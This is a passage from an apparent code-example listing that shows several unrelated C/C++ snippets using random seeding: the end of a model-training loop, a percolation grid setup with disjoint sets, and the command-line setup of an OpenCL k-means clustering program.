          order[k] = (*best).order[k - this_first];

        // update model
        fprintf(fmodel, "%.12f,%1d,%s",
                (this_last + 1) / (double) n_ids,
                best->var,
                best->dir);
	fflush(fmodel);
      } else {
        fprintf(fmodel, "%.12f,nop", (this_last + 1) / (double) n_ids);
	fflush(fmodel);
      }      
	    
      if (j < rounds[numbins - 1] - 1)
	{
	  fprintf(fmodel, ";");
	  fflush(fmodel);
	}
      
      this_first = this_last + 1;
    } /* end bins loop */
	    
    fprintf(fmodel, "\n");
    fflush(fmodel);
    printf("  Overall training AUC %.6f\n", pauc(order, n_ids));
  } /* end rounds loop */
	
  fclose(fmodel);
  fclose(fauc);

  exit(0);
}
Esempio n. 28
0
void Percolation:: init(int width,int height,double p)
{
	int probability = (int)(p*100);
	cout<<"probability is: "<<probability<<"%"<<endl;
	srand(time(0));// pseudo random

Width=width;
Height=height;

sites=new site[width*height];

for(int i=0;i<width;i++)
{
	for(int j=0;j<height;j++)
	{
		sites[dsetIndex(i,j)].rightWall=true;	// exist
		sites[dsetIndex(i,j)].downWall=true;
		sites[dsetIndex(i,j)].status=false;
		//sites[dsetIndex(i,j)].dist=0;
		//sites[dsetIndex(i,j)].path=NULL;
	}
}

// the first site--- center
//	sites[dsetIndex(Width/2,0)].rightWall=true;
//	sites[dsetIndex(Width/2,0)].downWall=true;
// the last row:
	for (int i=0;i<Width;i++)
	{
		sites[dsetIndex(i,Height-1)].downWall=false;
		sites[dsetIndex(i,Height-1)].status=false;
	}

//DisjointSets dset;
dset.addelements(width*height);//there are width*height vertices in total

///index of (x,y) in the dset = y*width+x;

int xCur=0;
int yCur=0;


//the first time
for(int i=0;i<width;i++)
{
	for(int j=0;j<height;j++)// (height-1)  and (width-1) because they are on the edge
	{
		sites[dsetIndex(i,j)].x=i;
		sites[dsetIndex(i,j)].y=j;
	if(random()%100<=probability){
		if(j!=height-1){
			sites[dsetIndex(i,j)].downWall=false;//delete the down wall
			dset.setunion(dsetIndex(i,j),dsetIndex(i,j+1));//set union
		}
	}
	if(random()%100<=probability){
		if(i!=width-1){
			sites[dsetIndex(i,j)].rightWall=false;//delete the wall
			dset.setunion(dsetIndex(i,j),dsetIndex(i+1,j));//set union
		
		}
	}
	}
}

//delete the rest
/*
for(int i=0;i<width-1;i++)
{
	for(int j=0;j<height-1;j++)// (height-1)  and (width-1) because they are on the edge
	{

		if(j!=height-1){
		if(dset.find(dsetIndex(i,j))!=dset.find(dsetIndex(i,j+1)))// no cycle after delete down wall
		{
			sites[dsetIndex(i,j)].downWall=false;//delete the down wall
			dset.setunion(dsetIndex(i,j),dsetIndex(i,j+1));//set union
		}
		}

		if(i!=width-1){
		if(dset.find(dsetIndex(i,j))!=dset.find(dsetIndex(i+1,j)))//no cycle after delete right wall
		{
			sites[dsetIndex(i,j)].rightWall=false;//delete the wall
			dset.setunion(dsetIndex(i,j),dsetIndex(i+1,j));//set union
		}
		}
	}
}
*/

}
Esempio n. 29
0
void Map::setRandom(int value)
{
	srand(value);
}
Esempio n. 30
0
/*---< main() >-------------------------------------------------------------*/
int setup(int argc, char **argv) {
	int		opt;
	extern char   *optarg;
	char   *filename = 0;
	float  *buf;
	char	line[1024];
	int		isBinaryFile = 0;

	float	threshold = 0.001;		/* default value */
	int		max_nclusters=5;		/* default value */
	int		min_nclusters=5;		/* default value */
	int		best_nclusters = 0;
	int		nfeatures = 0;
	int		npoints = 0;
	float	len;

	float **features;
	float **cluster_centres=NULL;
	int		i, j, index;
	int		nloops = 1;				/* default value */

	int		isRMSE = 0;		
	float	rmse;

	int		isOutput = 0;
	//float	cluster_timing, io_timing;		

	//ocd_init(&argc, &argv, NULL);
	//ocd_options opts = ocd_get_options();
	//platform_id = opts.platform_id;
	//device_id = opts.device_id;

	/* obtain command line arguments and change appropriate options */
	while ( (opt=getopt(argc,argv,"i:t:m:n:l:bro"))!= EOF) {
		switch (opt) {
			case 'i': filename=optarg;
				  break;
			case 'b': isBinaryFile = 1;
				  break;            
			case 't': threshold=atof(optarg);
				  break;
			case 'm': max_nclusters = atoi(optarg);
				  break;
			case 'n': min_nclusters = atoi(optarg);
				  break;
			case 'r': isRMSE = 1;
				  break;
			case 'o': isOutput = 1;
				  break;
			case 'l': nloops = atoi(optarg);
				  break;
			case '?': usage(argv[0]);
				  break;
			default: usage(argv[0]);
				 break;
		}
	}

	if (filename == 0) usage(argv[0]);

	/* ============== I/O begin ==============*/
	/* get nfeatures and npoints */
	//io_timing = omp_get_wtime();
	if (isBinaryFile) {		//Binary file input
		int infile;
		if ((infile = open(filename, O_RDONLY, "0600")) == -1) {
			fprintf(stderr, "Error: no such file (%s)\n", filename);
			exit(1);
		}
		read(infile, &npoints,   sizeof(int));
		read(infile, &nfeatures, sizeof(int));        

		/* allocate space for features[][] and read attributes of all objects */
		buf         = (float*) memalign(AOCL_ALIGNMENT,npoints*nfeatures*sizeof(float));
		features    = (float**)memalign(AOCL_ALIGNMENT,npoints*          sizeof(float*));
		features[0] = (float*) memalign(AOCL_ALIGNMENT,npoints*nfeatures*sizeof(float));
		for (i=1; i<npoints; i++)
			features[i] = features[i-1] + nfeatures;

		read(infile, buf, npoints*nfeatures*sizeof(float));

		close(infile);
	}
	else {
		FILE *infile;
		if ((infile = fopen(filename, "r")) == NULL) {
			fprintf(stderr, "Error: no such file (%s)\n", filename);
			exit(1);
		}		
		while (fgets(line, 1024, infile) != NULL)
			if (strtok(line, " \t\n") != 0)
				npoints++;			
		rewind(infile);
		while (fgets(line, 1024, infile) != NULL) {
			if (strtok(line, " \t\n") != 0) {
				/* ignore the id (first attribute): nfeatures = 1; */
				while (strtok(NULL, " ,\t\n") != NULL) nfeatures++;
				break;
			}
		}        

		/* allocate space for features[] and read attributes of all objects */
		buf         = (float*) memalign(AOCL_ALIGNMENT,npoints*nfeatures*sizeof(float));
		features    = (float**)memalign(AOCL_ALIGNMENT,npoints*          sizeof(float*));
		features[0] = (float*) memalign(AOCL_ALIGNMENT,npoints*nfeatures*sizeof(float));
		for (i=1; i<npoints; i++)
			features[i] = features[i-1] + nfeatures;
		rewind(infile);
		i = 0;
		while (fgets(line, 1024, infile) != NULL) {
			if (strtok(line, " \t\n") == NULL) continue;            
			for (j=0; j<nfeatures; j++) {
				buf[i] = atof(strtok(NULL, " ,\t\n"));             
				i++;
			}            
		}
		fclose(infile);
	}
	//io_timing = omp_get_wtime() - io_timing;

	printf("\nI/O completed\n");
	printf("\nNumber of objects: %d\n", npoints);
	printf("Number of features: %d\n", nfeatures);	
	/* ============== I/O end ==============*/

	// error check for clusters
	if (npoints < min_nclusters)
	{
		printf("Error: min_nclusters(%d) > npoints(%d) -- cannot proceed\n", min_nclusters, npoints);
		exit(0);
	}

	srand(7);												/* seed for future random number generator */	
	memcpy(features[0], buf, npoints*nfeatures*sizeof(float)); /* now features holds 2-dimensional array of features */
	free(buf);

	/* ============ Initialize OpenCL Environment ============ */

	initCL();

	/* ======================= core of the clustering ===================*/

	//cluster_timing = omp_get_wtime();		/* Total clustering time */
	cluster_centres = NULL;
	index = cluster(npoints,				/* number of data points */
			nfeatures,				/* number of features for each point */
			features,				/* array: [npoints][nfeatures] */
			min_nclusters,			/* range of min to max number of clusters */
			max_nclusters,
			threshold,				/* loop termination factor */
			&best_nclusters,			/* return: number between min and max */
			&cluster_centres,		/* return: [best_nclusters][nfeatures] */  
			&rmse,					/* Root Mean Squared Error */
			isRMSE,					/* calculate RMSE */
			nloops);				/* number of iteration for each number of clusters */		

	//cluster_timing = omp_get_wtime() - cluster_timing;
    

	/* =============== Command Line Output =============== */

	/* cluster center coordinates
	   :displayed only for when k=1*/
	if((min_nclusters == max_nclusters) && (isOutput == 1)) {
		printf("\n================= Centroid Coordinates =================\n");
		for(i = 0; i < max_nclusters; i++){
			printf("%d:", i);
			for(j = 0; j < nfeatures; j++){
				printf(" %.2f", cluster_centres[i][j]);
			}
			printf("\n\n");
		}
	}

	len = (float) ((max_nclusters - min_nclusters + 1)*nloops);

    //printf("Number of Iteration: %d\n", nloops);
    //printf("Time for I/O: %.5fsec\n", io_timing);
    //printf("Time for Entire Clustering: %.5fsec\n", cluster_timing);

	if(min_nclusters != max_nclusters){
		if(nloops != 1){									//range of k, multiple iteration
			//printf("Average Clustering Time: %fsec\n",
			//		cluster_timing / len);
			printf("Best number of clusters is %d\n", best_nclusters);				
		}
		else{												//range of k, single iteration
			//printf("Average Clustering Time: %fsec\n",
			//		cluster_timing / len);
			printf("Best number of clusters is %d\n", best_nclusters);				
		}
	}
	else{
		if(nloops != 1){									// single k, multiple iteration
			//printf("Average Clustering Time: %.5fsec\n",
			//		cluster_timing / nloops);
			if(isRMSE)										// if calculated RMSE
				printf("Number of trials to approach the best RMSE of %.3f is %d\n", rmse, index + 1);
		}
		else{												// single k, single iteration				
			if(isRMSE)										// if calculated RMSE
				printf("Root Mean Squared Error: %.3f\n", rmse);
		}
	}


	/* free up memory */
#ifndef __FPGA__
	free(features[0]);
	free(features);    
#endif
	return(0);
}